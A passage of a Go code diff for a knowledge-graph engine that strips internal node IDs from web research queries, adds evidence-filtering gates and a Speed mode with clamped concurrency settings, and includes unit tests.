"embedding_model": e.Cfg.EmbeddingModel, @@ -1475,7 +1450,10 @@ func relationContextWithResearch(a, b model.Node, sim float64, results []model.R } func relationContext(a, b model.Node, sim float64) string { - return fmt.Sprintf("SEMANTISCHE_NÄHE: %.4f\n\nA\nID: %s\nTitel: %s\nKategorien: %s\nInhalt: %s\n\nB\nID: %s\nTitel: %s\nKategorien: %s\nInhalt: %s", sim, a.ID, a.Label, strings.Join(a.Categories, ", "), a.Summary, b.ID, b.Label, strings.Join(b.Categories, ", "), b.Summary) + // Internal IDs are intentionally omitted from the model-visible relation + // context. They are routing metadata, not semantic search terms, and older + // prompts occasionally copied them into public SearXNG queries. + return fmt.Sprintf("SEMANTISCHE_NÄHE: %.4f\n\nA\nTitel: %s\nKategorien: %s\nInhalt: %s\n\nB\nTitel: %s\nKategorien: %s\nInhalt: %s", sim, a.Label, strings.Join(a.Categories, ", "), a.Summary, b.Label, strings.Join(b.Categories, ", "), b.Summary) } func relationSchema() map[string]any { return map[string]any{"type": "object", "properties": map[string]any{"related": map[string]any{"type": "boolean"}, "relation_type": map[string]any{"type": "string", "enum": []string{"related_to", "depends_on", "supports", "contradicts", "extends", "same_topic", "caused_by"}}, "confidence": map[string]any{"type": "number", "minimum": 0, "maximum": 1}, "explanation": map[string]any{"type": "string"}, "needs_research": map[string]any{"type": "boolean"}, "research_query": map[string]any{"type": "string"}, "topic_label": map[string]any{"type": "string"}, "keywords": map[string]any{"type": "array", "items": map[string]any{"type": "string"}}}, "required": []string{"related", "relation_type", "confidence", "explanation", "needs_research", "research_query", "topic_label", "keywords"}} diff --git a/internal/engine/relation_research_v10.go b/internal/engine/relation_research_v10.go new file mode 100644 index 0000000..347637d --- /dev/null +++ b/internal/engine/relation_research_v10.go @@ -0,0 +1,257 @@ +package engine + +import ( + "context" + "fmt" + "math" + "regexp" + "sort" + "strings" + "time" + + "github.com/local/glpi-neural-brain/internal/model" + "github.com/local/glpi-neural-brain/internal/research" +) + +var internalNodeIDPattern = regexp.MustCompile(`(?i)\b[0-9a-f]{20,64}\b`) + +// normalizeRelationResearchQuery prevents internal graph identifiers and generic +// bookkeeping language from leaking into public Web searches. If the planner's +// query does not contain a meaningful term from either source label/topic, the +// Brain deterministically rebuilds it from human-readable source labels. +func normalizeRelationResearchQuery(a, b model.Node, decision model.RelationDecision) (string, bool, string) { + original := strings.TrimSpace(sanitizeSearchQuerySiteFilters(decision.ResearchQuery)) + if original == "" { + return "", false, "empty" + } + labels := strings.TrimSpace(strings.Join([]string{a.Label, b.Label, decision.TopicLabel}, " ")) + anchorTerms := researchTerms(labels) + queryTerms := researchTerms(original) + matched := 0 + for term := range anchorTerms { + if queryTerms[term] { + matched++ + } + } + containsInternalID := (strings.TrimSpace(a.ID) != "" && strings.Contains(original, a.ID)) || (strings.TrimSpace(b.ID) != "" && strings.Contains(original, b.ID)) || internalNodeIDPattern.MatchString(original) + genericOnly := len(anchorTerms) > 0 && matched == 0 + if !containsInternalID && !genericOnly { + return original, false, "" + } + + relationIntent := map[string]string{ + "same_topic": "Gemeinsamkeiten Unterschiede fachliche Einordnung", + "related_to": "fachlicher Zusammenhang Abgrenzung", + "depends_on": "Abhängigkeit Voraussetzung Zusammenhang", + "supports": "Unterstützung Zusammenhang Nachweis", + "contradicts": "Widerspruch Unterschiede Nachweis", + "extends": "Erweiterung Zusammenhang Abgrenzung", + "caused_by": "Ursache Zusammenhang Nachweis", + }[safeRelation(decision.RelationType)] + if relationIntent == "" { + relationIntent = "fachlicher Zusammenhang Nachweis" + } + parts := []string{strings.TrimSpace(a.Label), strings.TrimSpace(b.Label), strings.TrimSpace(decision.TopicLabel), relationIntent, "offizielle Dokumentation"} + rebuilt := strings.TrimSpace(strings.Join(unique(parts), " ")) + reason := "missing_topic_anchor" + if containsInternalID { + reason = "internal_node_id_removed" + } + return rebuilt, true, reason +} + +func relationResearchQuestion(a, b model.Node, decision model.RelationDecision, query string) model.ResearchQuestion { + question := strings.TrimSpace(strings.Join([]string{ + "Prüfe den fachlichen Zusammenhang zwischen", + a.Label, + "und", + b.Label + ".", + "Zu bewertende Relation:", + safeRelation(decision.RelationType) + ".", + strings.TrimSpace(decision.Explanation), + }, " ")) + return model.ResearchQuestion{ + GapID: "relation-evidence", + Question: question, + Critical: true, + ExpectActionable: false, + QueriesDE: []string{query}, + } +} + +// collectRelationResearchEvidence performs a strict, per-source evidence path. +// Search snippets remain ephemeral. Only fetched full text that passes the +// deterministic topic guard, source filter and full-text relevance/quality gate +// is returned to the relation reviewer. Nothing is written to the graph here. +func (e *Engine) collectRelationResearchEvidence(ctx context.Context, trigger string, a, b model.Node, decision model.RelationDecision) ([]model.ResearchResult, map[string]any, error) { + query, rebuilt, rebuildReason := normalizeRelationResearchQuery(a, b, decision) + metadata := map[string]any{ + "trigger": trigger, + "research_query": query, + "source_label": a.Label, + "target_label": b.Label, + "query_rebuilt": rebuilt, + "query_rebuild_reason": rebuildReason, + } + if query == "" { + return nil, metadata, nil + } + if rebuilt && e.Broker != nil { + e.Broker.Publish(model.Activity{Type: "think.research.query.rebuilt", Source: "brain", Phase: "research-routing", NodeIDs: []string{a.ID, b.ID}, Message: "Relationsrecherche wurde aus den sichtbaren Themenbegriffen neu aufgebaut; interne Node-IDs werden nicht ins Web gesendet", Strength: .56, Metadata: map[string]any{ + "trigger": trigger, "original_query": decision.ResearchQuery, "research_query": query, "reason": rebuildReason, "source_label": a.Label, "target_label": b.Label, + }}) + } + + question := relationResearchQuestion(a, b, decision, query) + lease, reused, err := e.beginResearchIntent(ctx, "relation-v10", query) + if err != nil { + return nil, metadata, err + } + if !lease.owner { + validated, rejected := e.revalidateReusableResearchEvidence(ctx, question, reused) + metadata["deduplicated"] = true + metadata["reused_results"] = len(reused) + metadata["reused_rejected"] = rejected + metadata["accepted_count"] = len(validated) + return validated, metadata, nil + } + + resultLimit := e.Cfg.ArticleResearchResults + if resultLimit < 8 { + resultLimit = 8 + } + if resultLimit > 12 { + resultLimit = 12 + } + var results []model.ResearchResult + var diagnostic research.Diagnostic + searchStarted := time.Now() + searchErr := e.withSharedResearchWork(ctx, "searxng.relation_search_v10", func() error { + var inner error + results, diagnostic, inner = e.Research.SearchDetailed(ctx, query, resultLimit) + return inner + }) + if searchErr != nil { + e.completeResearchIntent(lease, nil, searchErr) + metadata = mergeResearchMetadata(metadata, researchDiagnosticMetadata(diagnostic)) + metadata["duration_ms"] = time.Since(searchStarted).Milliseconds() + return nil, metadata, searchErr + } + for i := range results { + results[i].Query = query + results[i].Round = 1 + } + metadata["unfiltered_result_count"] = len(results) + categories := unique(append(append([]string{}, a.Categories...), b.Categories...)) + allowed := e.filterResearchEvidenceForThinking(results, categories) + metadata["source_filter_rejected_count"] = len(results) - len(allowed) + metadata["source_filter_allowed_count"] = len(allowed) + if len(allowed) == 0 { + e.completeResearchIntent(lease, nil, nil) + metadata["accepted_count"] = 0 + return nil, metadata, nil + } + + // Snippet selection is deterministic/heuristic; semantic model budget is + // spent only after full text has been fetched. + ranked := rankResearchCandidatesHeuristic(question, allowed, false) + fetchLimit := e.Cfg.ArticleResearchFetchResults + if fetchLimit < 1 { + fetchLimit = 4 + } + if fetchLimit > 4 { + fetchLimit = 4 + } + prefetchMin := math.Max(.35, e.Cfg.ArticleResearchPrefetchMinRelevance) + finalMin := math.Max(.60, e.Cfg.ArticleResearchMinRelevance) + minQuality := math.Max(.55, e.Cfg.ArticleResearchMinQuality) + selection := selectResearchCandidates(question, ranked, map[string]bool{}, fetchLimit, 1, prefetchMin, finalMin, minQuality) + metadata["snippet_gate_selected_count"] = len(selection.Selected) + metadata["snippet_gate_rejected_count"] = selection.GateRejected + metadata["authoritative_exploration_selected_count"] = countSelectedMode(selection.Decisions, "authoritative_exploration") + if len(selection.Selected) == 0 { + e.completeResearchIntent(lease, nil, nil) + metadata["accepted_count"] = 0 + return nil, metadata, nil + } + + fetched := make([]model.ResearchResult, 0, len(selection.Selected)) + fetchFailures := 0 + for _, candidate := range selection.Selected { + var page research.FetchedPage + fetchErr := e.withSharedResearchWork(ctx, "web.relation_fetch_v10", func() error { + var inner error + page, _, inner = e.Research.FetchPage(ctx, candidate.Result.URL, research.FetchOptions{ + MaxBytes: e.Cfg.ArticleResearchPageMaxBytes, MaxChars: e.Cfg.ArticleResearchPageMaxChars, + Timeout: e.Cfg.ArticleResearchFetchTimeout, AllowPrivate: e.Cfg.ArticleResearchAllowPrivate, + }) + return inner + }) + if fetchErr != nil { + fetchFailures++ + continue + } + item := candidate.Result + item.URL = nonempty(canonicalResearchURL(page.URL), page.URL) + if strings.TrimSpace(page.Title) != "" { + item.Title = page.Title + } + item.Content = page.Content + item.ContentType = page.ContentType + item.Fetched = true + item.Query = query + item.Round = 1 + fetched = append(fetched, item) + } + metadata["fetched_count"] = len(fetched) + metadata["fetch_failed_count"] = fetchFailures + if len(fetched) == 0 { + e.completeResearchIntent(lease, nil, nil) + metadata["accepted_count"] = 0 + return nil, metadata, nil + } + + assessed := e.rankResearchCandidates(ctx, question, fetched, true) + accepted := make([]model.ResearchResult, 0, len(assessed)) + fulltextRejected := 0 + for _, candidate := range assessed { + assessment := candidate.Assessment + strict := candidate.TopicGuardPassed && assessment.Relevant && assessment.Relevance >= finalMin && assessment.SourceQualityScore >= minQuality + if !strict { + fulltextRejected++ + continue + } + item := candidate.Result + item.Relevant = true + item.Relevance = assessment.Relevance + item.SourceQuality = assessment.SourceQuality + item.SourceQualityScore = assessment.SourceQualityScore + item.Actionable = assessment.Actionable + item.CoveredGapIDs = unique(append(assessment.CoveredGapIDs, question.GapID)) + item.AssessmentReason = assessment.Reason + accepted = append(accepted, item) + } + // Stable ordering makes relation-review prompts and dedupe cache deterministic. + sort.SliceStable(accepted, func(i, j int) bool { + if accepted[i].Relevance != accepted[j].Relevance { + return accepted[i].Relevance > accepted[j].Relevance + } + return accepted[i].URL < accepted[j].URL + }) + metadata["fulltext_rejected_count"] = fulltextRejected + metadata["accepted_count"] = len(accepted) + metadata["accepted_titles"] = researchTitles(accepted) + metadata["minimum_relevance"] = finalMin + metadata["minimum_quality"] = minQuality + metadata["duration_ms"] = time.Since(searchStarted).Milliseconds() + e.completeResearchIntent(lease, accepted, nil) + return accepted, metadata, nil +} + +func relationResearchResultMessage(metadata map[string]any) string { + accepted := 0 + if value, ok := metadata["accepted_count"].(int); ok { + accepted = value + } + return fmt.Sprintf("Relationsrecherche beendet · %d einzeln geprüfte Volltextbelege", accepted) +} diff --git a/internal/engine/relation_research_v10_test.go b/internal/engine/relation_research_v10_test.go new file mode 100644 index 0000000..efc8553 --- /dev/null +++ b/internal/engine/relation_research_v10_test.go @@ -0,0 +1,90 @@ +package engine + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/local/glpi-neural-brain/internal/model" + "github.com/local/glpi-neural-brain/internal/ollama" +) + +func TestNormalizeRelationResearchQueryRemovesInternalNodeIDs(t *testing.T) { + a := model.Node{ID: "8c68b454ce45705357ae1831", Label: "AI Safety Guardrails – sicher gestalten und härten"} + b := model.Node{ID: "a0808bae9ec114a144632262", Label: "AI Security Guardrails – sicher gestalten und härten"} + decision := model.RelationDecision{RelationType: "same_topic", TopicLabel: "AI Guardrails", ResearchQuery: "Überprüfung der Einträge 8c68b454ce45705357ae1831 und a0808bae9ec114a144632262 auf Duplikat oder unterschiedliche Quellen"} + query, rebuilt, reason := normalizeRelationResearchQuery(a, b, decision) + if !rebuilt || reason != "internal_node_id_removed" { + t.Fatalf("expected deterministic rebuild, rebuilt=%v reason=%q query=%q", rebuilt, reason, query) + } + if strings.Contains(query, a.ID) || strings.Contains(query, b.ID) || internalNodeIDPattern.MatchString(query) { + t.Fatalf("internal IDs leaked into rebuilt query: %q", query) + } + for _, want := range []string{"AI Safety Guardrails", "AI Security Guardrails"} { + if !strings.Contains(query, want) { + t.Fatalf("rebuilt query lost visible topic %q: %q", want, query) + } + } +} + +func TestNormalizeRelationResearchQueryRebuildsGenericQueryWithoutTopicAnchor(t *testing.T) { + a := model.Node{Label: "Kubernetes Restore Testing"} + b := model.Node{Label: "Kubernetes Backup Validation"} + decision := model.RelationDecision{RelationType: "supports", ResearchQuery: "Einträge prüfen und Unterschiede validieren"} + query, rebuilt, reason := normalizeRelationResearchQuery(a, b, decision) + if !rebuilt || reason != "missing_topic_anchor" || !strings.Contains(strings.ToLower(query), "kubernetes") { + t.Fatalf("expected topic-anchored rebuild, got rebuilt=%v reason=%q query=%q", rebuilt, reason, query) + } +} + +func TestRelationSnippetGateRejectsUnrelatedDuplicateTools(t *testing.T) { + question := model.ResearchQuestion{GapID: "relation-evidence", Question: "AI Safety Guardrails und AI Security Guardrails fachlich vergleichen"} + results := []model.ResearchResult{ + {Title: "IBAN auf Fehler prüfen und Bankverbindung identifizieren", URL: "https://example.org/iban", Snippet: "IBAN prüfen und Duplikate finden"}, + {Title: "Duplikate in Excel finden", URL: "https://example.org/excel", Snippet: "Doppelte Einträge über mehrere Spalten"}, + {Title: "AI Security Guardrails technical guidance", URL: "https://docs.example.org/ai-security/guardrails", Snippet: "AI safety and security guardrails, controls and validation"}, + } + ranked := rankResearchCandidatesHeuristic(question, results, false) + selection := selectResearchCandidates(question, ranked, map[string]bool{}, 3, 1, .35, .60, .55) + for _, candidate := range selection.Selected { + if strings.Contains(strings.ToLower(candidate.Result.Title), "iban") || strings.Contains(strings.ToLower(candidate.Result.Title), "excel") { + t.Fatalf("unrelated duplicate-tool result passed relation topic gate: %+v", candidate.Result) + } + } +} + +func TestReconsiderOperationalArticleTypeCanChooseReference(t *testing.T) { + mock := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/api/tags": + _ = json.NewEncoder(w).Encode(map[string]any{"models": []map[string]any{{"name": "qwen3:8b", "digest": "chat"}, {"name": "embeddinggemma", "digest": "embed"}}}) + case "/api/chat": + _ = json.NewEncoder(w).Encode(map[string]any{"message": map[string]any{"content": `{"action":"reclassify","article_type":"reference","reason":"Die Evidenz trägt technische Zuordnungen, aber keinen belastbaren Lösungsablauf."}`}}) + default: + http.NotFound(w, r) + } + })) + defer mock.Close() + client := ollama.New(mock.URL, "qwen3:8b", "embeddinggemma") + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + client.Start(ctx) + deadline := time.Now().Add(time.Second) + for client.PoolStatus()["healthy_nodes"].(int) < 1 && time.Now().Before(deadline) { + time.Sleep(10 * time.Millisecond) + } + e := &Engine{Ollama: client} + plan := model.ArticlePlanDecision{ArticleType: "troubleshooting", ExpectedValue: "ATT&CK-Techniken einordnen"} + content := model.KnowledgeArticleContent{Title: "ATT&CK-Techniken", TechnicalDetails: []string{"T1018"}, Mappings: []string{"Profil → T1018"}} + result, err := e.reconsiderOperationalArticleType(context.Background(), plan, content, nil, nil) + if err != nil { + t.Fatal(err) + } + if result.Action != "reclassify" || result.ArticleType != "reference" { + t.Fatalf("unexpected reconsideration: %+v", result) + } +} diff --git a/internal/engine/research_work.go b/internal/engine/research_work.go index 291f076..bd8c50e 100644 --- a/internal/engine/research_work.go +++ b/internal/engine/research_work.go @@ -8,7 +8,6 @@ import ( "time" "github.com/local/glpi-neural-brain/internal/model" - "github.com/local/glpi-neural-brain/internal/ollama" ) type researchIntentProfile struct { @@ -83,7 +82,7 @@ func (e *Engine) beginResearchIntentMode(ctx context.Context, kind, rawIntent st // Embed the natural-language intent rather than the sorted normalization. // Word order and phrases such as "volatile evidence before reboot" carry // information that is lost by a bag-of-terms representation. - vectors, err := e.Ollama.Embed(ollama.WithLowPriority(ctx), []string{rawIntent}) + vectors, err := e.Ollama.Embed(e.backgroundOllamaContext(ctx), []string{rawIntent}) if err == nil && len(vectors) == 1 { vector = vectors[0] } diff --git a/internal/engine/runtime.go b/internal/engine/runtime.go index fbbedf3..fcda2ca 100644 --- a/internal/engine/runtime.go +++ b/internal/engine/runtime.go @@ -21,6 +21,9 @@ type RuntimeSettings struct { ViewMode string `json:"view_mode"` MaxDisplayNodes int `json:"max_display_nodes"` LowPowerMode bool `json:"low_power_mode"` + SpeedMode bool `json:"speed_mode"` + SpeedCPUWorkers int `json:"speed_cpu_tasks"` + SpeedGPUInflight int `json:"speed_gpu_tasks"` ProcessingMode string `json:"processing_mode"` AutonomousResearchEnabled bool `json:"autonomous_research_enabled"` AutonomousResearchIdleOnly bool `json:"autonomous_research_idle_only"` @@ -53,6 +56,9 @@ func (e *Engine) defaultRuntimeSettings() RuntimeSettings { ViewMode: e.Cfg.DefaultView, MaxDisplayNodes: e.Cfg.MaxDisplayNodes, LowPowerMode: e.Cfg.LowPowerMode, + SpeedMode: e.Cfg.SpeedMode, + SpeedCPUWorkers: e.Cfg.SpeedCPUWorkers, + SpeedGPUInflight: e.Cfg.SpeedGPUInflight, ProcessingMode: e.Cfg.ProcessingMode, AutonomousResearchEnabled: e.Cfg.AutonomousResearchEnabled, AutonomousResearchIdleOnly: e.Cfg.AutonomousResearchIdleOnly, @@ -86,6 +92,23 @@ func normalizeRuntimeSettings(in RuntimeSettings) RuntimeSettings { if in.MaxDisplayNodes > 500000 { in.MaxDisplayNodes = 500000 } + if in.SpeedCPUWorkers < 1 { + in.SpeedCPUWorkers = 1 + } + if in.SpeedCPUWorkers > 256 { + in.SpeedCPUWorkers = 256 + } + if in.SpeedGPUInflight < 1 { + in.SpeedGPUInflight = 1 + } + if in.SpeedGPUInflight > 64 { + in.SpeedGPUInflight = 64 + } + if in.SpeedMode { + // Eco and Speed have opposite scheduling/rendering goals. Speed wins when + // an older client accidentally submits both flags. + in.LowPowerMode = false + } if in.AutonomousResearchMinPriority < 0 { in.AutonomousResearchMinPriority = 0 } @@ -172,6 +195,9 @@ func mergeRuntimeSettingsJSON(settings *RuntimeSettings, data []byte) { decode("view_mode", &settings.ViewMode) decode("max_display_nodes", &settings.MaxDisplayNodes) decode("low_power_mode", &settings.LowPowerMode) + decode("speed_mode", &settings.SpeedMode) + decode("speed_cpu_tasks", &settings.SpeedCPUWorkers) + decode("speed_gpu_tasks", &settings.SpeedGPUInflight) decode("processing_mode", &settings.ProcessingMode) decode("autonomous_research_enabled", &settings.AutonomousResearchEnabled) decode("autonomous_research_idle_only", &settings.AutonomousResearchIdleOnly) @@ -217,6 +243,12 @@ func (e *Engine) SetRuntimeSettings(settings RuntimeSettings) (RuntimeSettings, if settings.AutonomousResearchTasksPerCycle == 0 { settings.AutonomousResearchTasksPerCycle = previous.AutonomousResearchTasksPerCycle } + if settings.SpeedCPUWorkers == 0 { + settings.SpeedCPUWorkers = previous.SpeedCPUWorkers + } + if settings.SpeedGPUInflight == 0 { + settings.SpeedGPUInflight = previous.SpeedGPUInflight + } if settings.ProcessingMode == "" { settings.ProcessingMode = previous.ProcessingMode } @@ -226,6 +258,12 @@ func (e *Engine) SetRuntimeSettings(settings RuntimeSettings) (RuntimeSettings, if settings.MaxDisplayNodes < 0 || settings.MaxDisplayNodes > 500000 { return e.RuntimeSettings(), fmt.Errorf("max_display_nodes must be between 0 and 500000") } + if settings.SpeedCPUWorkers < 1 || settings.SpeedCPUWorkers > 256 { + return e.RuntimeSettings(), fmt.Errorf("speed_cpu_tasks must be between 1 and 256") + } + if settings.SpeedGPUInflight < 1 || settings.SpeedGPUInflight > 64 { + return e.RuntimeSettings(), fmt.Errorf("speed_gpu_tasks must be between 1 and 64") + } if settings.AutonomousResearchMinPriority < 0 || settings.AutonomousResearchMinPriority > 1 { return e.RuntimeSettings(), fmt.Errorf("autonomous_research_min_priority must be between 0 and 1") } @@ -243,6 +281,11 @@ func (e *Engine) SetRuntimeSettings(settings RuntimeSettings) (RuntimeSettings, previous = e.runtime e.runtime = settings e.runtimeMu.Unlock() + e.applyRuntimePerformance(settings) + + if settings.SpeedMode && !previous.SpeedMode { + e.signalSpeedWork() + } if settings.AutonomousResearchEnabled && !previous.AutonomousResearchEnabled { e.signalAutonomousResearch() @@ -265,6 +308,7 @@ func (e *Engine) SetRuntimeSettings(settings RuntimeSettings) (RuntimeSettings, e.runtimeMu.Lock() e.runtime = previous e.runtimeMu.Unlock() + e.applyRuntimePerformance(previous) return previous, err } } @@ -285,6 +329,9 @@ func (e *Engine) SetRuntimeSettings(settings RuntimeSettings) (RuntimeSettings, "view_mode": settings.ViewMode, "max_display_nodes": settings.MaxDisplayNodes, "low_power_mode": settings.LowPowerMode, + "speed_mode": settings.SpeedMode, + "speed_cpu_tasks": settings.SpeedCPUWorkers, + "speed_gpu_tasks": settings.SpeedGPUInflight, "processing_mode": settings.ProcessingMode, "autonomous_research_enabled": settings.AutonomousResearchEnabled, "autonomous_research_idle_only": settings.AutonomousResearchIdleOnly, @@ -296,6 +343,13 @@ func (e *Engine) SetRuntimeSettings(settings RuntimeSettings) (RuntimeSettings, return settings, nil } +func (e *Engine) SpeedModeEnabled() bool { + e.runtimeMu.RLock() + enabled := e.runtime.SpeedMode + e.runtimeMu.RUnlock() + return enabled +} + func (e *Engine) LearningEnabled() bool { e.runtimeMu.RLock() enabled := e.runtime.LearningEnabled diff --git a/internal/engine/runtime_filter_test.go b/internal/engine/runtime_filter_test.go index 3229fe9..06ef734 100644 --- a/internal/engine/runtime_filter_test.go +++ b/internal/engine/runtime_filter_test.go @@ -100,3 +100,20 @@ func TestNormalizeRuntimeSettingsProcessingMode(t *testing.T) { t.Fatalf("invalid mode should fall back to precise: %+v", settings) } } + +func TestNormalizeRuntimeSettingsSpeedWinsOverEco(t *testing.T) { + settings := normalizeRuntimeSettings(RuntimeSettings{ + LowPowerMode: true, + SpeedMode: true, + SpeedCPUWorkers: 999, + SpeedGPUInflight: 999, + AutonomousResearchMaxTasksPerDay: 1, + AutonomousResearchTasksPerCycle: 1, + }) + if settings.LowPowerMode { + t.Fatal("speed mode must disable eco mode") + } + if settings.SpeedCPUWorkers != 256 || settings.SpeedGPUInflight != 64 { + t.Fatalf("speed limits were not clamped: %+v", settings) + } +} diff --git a/internal/engine/source_inbox.go b/internal/engine/source_inbox.go index 80103df..06c4ab6 100644 --- a/internal/engine/source_inbox.go +++ b/internal/engine/source_inbox.go @@ -11,7 +11,6 @@ import ( "github.com/local/glpi-neural-brain/internal/graph" "github.com/local/glpi-neural-brain/internal/model" - "github.com/local/glpi-neural-brain/internal/ollama" "github.com/local/glpi-neural-brain/internal/research" "github.com/local/glpi-neural-brain/internal/sourceagent" ) @@ -58,11 +57,23 @@ func (e *Engine) evidenceAcquisitionEnabled() bool { func (e *Engine) sourceInboxLoop(ctx context.Context) { e.reconcileProactiveSecurityMaterialization(ctx) e.queueExistingProactiveSecurityCandidates(ctx) - // Classify once immediately so newly ingested or migration-requeued documents - // do not wait a full interval after startup. - e.processSourceInbox(ctx) - e.queueExistingProactiveSecurityCandidates(ctx) - e.processProactiveSecurityInbox(ctx) + run := func() int { + processed := e.processSourceInbox(ctx) + e.queueExistingProactiveSecurityCandidates(ctx) + processed += e.processProactiveSecurityInbox(ctx) + return processed + } + drain := func() { + for { + processed := run() + if !e.SpeedModeEnabled() || processed == 0 || ctx.Err() != nil { + return + } + } + } + // Always classify once immediately. In Speed mode the loop keeps claiming + // batches until the queues are empty instead of sleeping between batches. + drain() ticker := time.NewTicker(e.Cfg.SourceInboxInterval) defer ticker.Stop() for { @@ -70,24 +81,34 @@ func (e *Engine) sourceInboxLoop(ctx context.Context) { case <-ctx.Done(): return case <-ticker.C: - e.processSourceInbox(ctx) - e.queueExistingProactiveSecurityCandidates(ctx) - e.processProactiveSecurityInbox(ctx) + drain() + case <-e.sourceInboxWake: + drain() } } } -func (e *Engine) processSourceInbox(ctx context.Context) { - if e.SourceInbox == nil || !e.Cfg.SourceInboxEnabled { +func (e *Engine) WakeSourceInbox() { + if e == nil || e.sourceInboxWake == nil { return } + select { + case e.sourceInboxWake <- struct{}{}: + default: + } +} + +func (e *Engine) processSourceInbox(ctx context.Context) int { + if e.SourceInbox == nil || !e.Cfg.SourceInboxEnabled { + return 0 + } items, err := e.SourceInbox.ClaimInbox(ctx, e.Cfg.SourceInboxBatchSize) if err != nil { slog.Warn("source inbox claim failed", "error", err) - return + return 0 } if len(items) == 0 { - return + return 0 } texts := make([]string, 0, len(items)) for _, item := range items { @@ -97,7 +118,7 @@ func (e *Engine) processSourceInbox(ctx context.Context) { } texts = append(texts, text) } - cctx, cancel := context.WithTimeout(ollama.WithLowPriority(ctx), 4*time.Minute) + cctx, cancel := context.WithTimeout(e.backgroundOllamaContext(ctx), 4*time.Minute) vectors, embedErr := e.Ollama.Embed(cctx, texts) cancel() if embedErr != nil || len(vectors) != len(items) { @@ -110,7 +131,7 @@ func (e *Engine) processSourceInbox(ctx context.Context) { slog.Error("source inbox release after embedding failure failed", "inbox_id", item.ID, "error", releaseErr) } } - return + return 0 } candidateCount := 0 for i, item := range items { @@ -158,6 +179,7 @@ func (e *Engine) processSourceInbox(ctx context.Context) { if e.Broker != nil { e.Broker.Publish(model.Activity{Type: "source.inbox.classified", Source: "brain", Phase: "source-inbox", Message: fmt.Sprintf("Source-Inbox: %d Dokumente geprüft · %d als Wissenskandidaten vorgemerkt", len(items), candidateCount), Strength: .36, Metadata: map[string]any{"documents": len(items), "candidates": candidateCount, "minimum_similarity": e.Cfg.SourceInboxMinSimilarity, "minimum_priority": e.Cfg.SourceInboxMinPriority, "novelty_floor": e.Cfg.SourceInboxNoveltyFloor, "classifier_version": SourceInboxClassifierVersion}}) } + return len(items) } func (e *Engine) sourceInboxKnowledgeHit(hits []model.Hit) (model.Hit, bool) { @@ -335,17 +357,17 @@ func (e *Engine) queueExistingProactiveSecurityCandidates(ctx context.Context) { } } -func (e *Engine) processProactiveSecurityInbox(ctx context.Context) { +func (e *Engine) processProactiveSecurityInbox(ctx context.Context) int { if e.SourceInbox == nil || !e.Cfg.SourceInboxEnabled || !e.Cfg.SourceInboxSecurityProactiveEnabled || e.Ollama == nil { - return + return 0 } items, err := e.SourceInbox.ClaimProactiveSecurity(ctx, e.Cfg.SourceInboxSecurityBatchSize) if err != nil { slog.Warn("source inbox proactive security claim failed", "error", err) - return + return 0 } if len(items) == 0 { - return + return 0 } materialized := 0 for _, item := range items { @@ -400,6 +422,7 @@ func (e *Engine) processProactiveSecurityInbox(ctx context.Context) { if materialized > 0 { e.RequestEnrich("source-security") } + return len(items) } func (e *Engine) processProactiveSecurityItem(ctx context.Context, item sourceagent.InboxDocument, started time.Time) (bool, graph.MutationStats, error) { @@ -610,7 +633,7 @@ func (e *Engine) assessSecurityInbox(ctx context.Context, item sourceagent.Inbox if modelName == "" { modelName = e.Cfg.ChatModel } - cctx, cancel := context.WithTimeout(ollama.WithLowPriority(ctx), 6*time.Minute) + cctx, cancel := context.WithTimeout(e.backgroundOllamaContext(ctx), 6*time.Minute) err := e.Ollama.ChatJSONModel(cctx, modelName, securityInboxSystemPrompt(), b.String(), securityInboxSchema(), &out) cancel() out = normalizeSecurityAssessment(out, item.Document.Title) @@ -821,7 +844,7 @@ func (e *Engine) learnProactiveSecurityNode(ctx context.Context, node model.Node if text == "" { return graph.MutationStats{} } - cctx, cancel := context.WithTimeout(ollama.WithLowPriority(ctx), 3*time.Minute) + cctx, cancel := context.WithTimeout(e.backgroundOllamaContext(ctx), 3*time.Minute) vectors, err := e.Ollama.Embed(cctx, []string{text}) cancel() if err != nil || len(vectors) != 1 || len(vectors[0]) == 0 { diff --git a/internal/engine/speed_mode.go b/internal/engine/speed_mode.go new file mode 100644 index 0000000..2b613bc --- /dev/null +++ b/internal/engine/speed_mode.go @@ -0,0 +1,115 @@ +package engine + +import ( + "context" + "runtime" + "time" + + "github.com/local/glpi-neural-brain/internal/model" + "github.com/local/glpi-neural-brain/internal/ollama" +) + +const speedModeVersion = "throughput-v1" + +func (e *Engine) effectiveSpeedCPUWorkers(settings RuntimeSettings) int { + workers := settings.SpeedCPUWorkers + if workers < 1 { + workers = runtime.NumCPU() + } + if workers < 1 { + workers = 1 + } + if workers > 256 { + workers = 256 + } + return workers +} + +func (e *Engine) effectiveSpeedGPUInflight(settings RuntimeSettings) int { + limit := settings.SpeedGPUInflight + if limit < 1 { + limit = 1 + } + if limit > 64 { + limit = 64 + } + return limit +} + +func (e *Engine) applyRuntimePerformance(settings RuntimeSettings) { + if e == nil { + return + } + sharedInflight := e.Cfg.ResearchOllamaMaxInflight + queueSize := e.Cfg.ResearchOllamaQueueSize + gpuInflight := e.Cfg.OllamaNodeMaxInflight + if sharedInflight < 1 { + sharedInflight = 1 + } + if queueSize < 1 { + queueSize = 1 + } + if gpuInflight < 1 { + gpuInflight = 1 + } + if settings.SpeedMode { + cpu := e.effectiveSpeedCPUWorkers(settings) + gpu := e.effectiveSpeedGPUInflight(settings) + // The shared limiter covers model calls and outbound research work. Do not + // let it become the bottleneck below either requested CPU fan-out or total + // per-node GPU fan-out. + nodeCount := 1 + if e.Ollama != nil { + nodeCount = len(e.Ollama.NodeStatuses()) + } + if nodeCount < 1 { + nodeCount = 1 + } + sharedInflight = maxInt(cpu, gpu*nodeCount) + queueSize = maxInt(queueSize, sharedInflight*16) + gpuInflight = gpu + } + if e.sharedWork != nil { + e.sharedWork.SetLimits(sharedInflight, queueSize) + } + if e.Ollama != nil { + e.Ollama.SetNodeMaxInflight(gpuInflight) + } +} + +func (e *Engine) signalSpeedWork() { + if e == nil || !e.SpeedModeEnabled() { + return + } + if e.ThinkingEnabled() { + e.RequestEnrich("speed-mode") + } + if e.AutonomousResearchEnabled() { + e.RequestAutonomousResearchScan("speed-mode") + e.signalAutonomousResearch() + } + if e.sourceInboxWake != nil { + select { + case e.sourceInboxWake <- struct{}{}: + default: + } + } + if e.Broker != nil { + settings := e.RuntimeSettings() + e.Broker.Publish(model.Activity{Type: 